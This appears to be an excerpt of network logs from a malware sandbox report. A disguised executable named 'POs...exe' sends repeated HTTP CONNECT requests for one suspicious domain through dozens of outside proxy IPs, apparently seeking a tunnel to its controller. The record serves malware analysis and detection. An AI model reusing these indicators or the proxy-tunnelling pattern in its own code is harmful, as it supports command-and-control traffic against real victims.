Mar 11, 2024 16:42:24.754937887 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.11	53758	23.137.248.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.093854904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.11	53054	45.173.12.141	1994	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.094074965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.709805012 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.11	53252	68.169.60.220	8380	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.107953072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.11	53483	120.194.4.157	5443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.115020037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.858814001 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.11	53763	154.12.178.107	29985	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.162765026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.11	53462	104.37.135.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.162795067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.11	53761	47.243.205.1	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.168061018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.11	53157	45.182.176.38	9947	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.182549000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250602961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.006234884 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.11	51824	162.241.46.6	53477	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.189513922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.189009905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298489094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.376430035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.376123905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.11	51580	148.66.130.53	23998	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.194938898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250617981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.345206022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.438873053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.438517094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.485335112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.485335112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:36.485241890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:24.500829935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.11	53806	104.22.37.236	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.197586060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.352399111 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.11	53765	115.146.225.137	10046	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.211281061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.11	51689	34.83.143.6	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.214257002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250617981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.451723099 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.11	53766	185.101.16.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.226317883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.11	51764	20.80.103.193	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.227722883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250678062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.684055090 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.11	53770	110.12.211.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.231525898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.11	53771	121.66.198.76	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.243432045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.11	53179	51.161.131.84	43712	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.250442028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.985902071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.173160076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.266619921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.282159090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:08.282125950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.11	53769	185.220.226.128	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.254025936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.11	53772	61.79.73.225	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.264564991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.11	53786	3.12.144.146	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.264951944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.482172012 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:24 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.11	53829	104.23.125.117	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.265122890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.419718981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.11	53767	93.157.248.108	88	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.265827894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.11	53728	211.93.2.190	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.267208099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.773732901 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.11	51766	45.71.184.134	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.268632889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376307011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.777137041 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.11	53856	104.23.141.196	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.277396917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
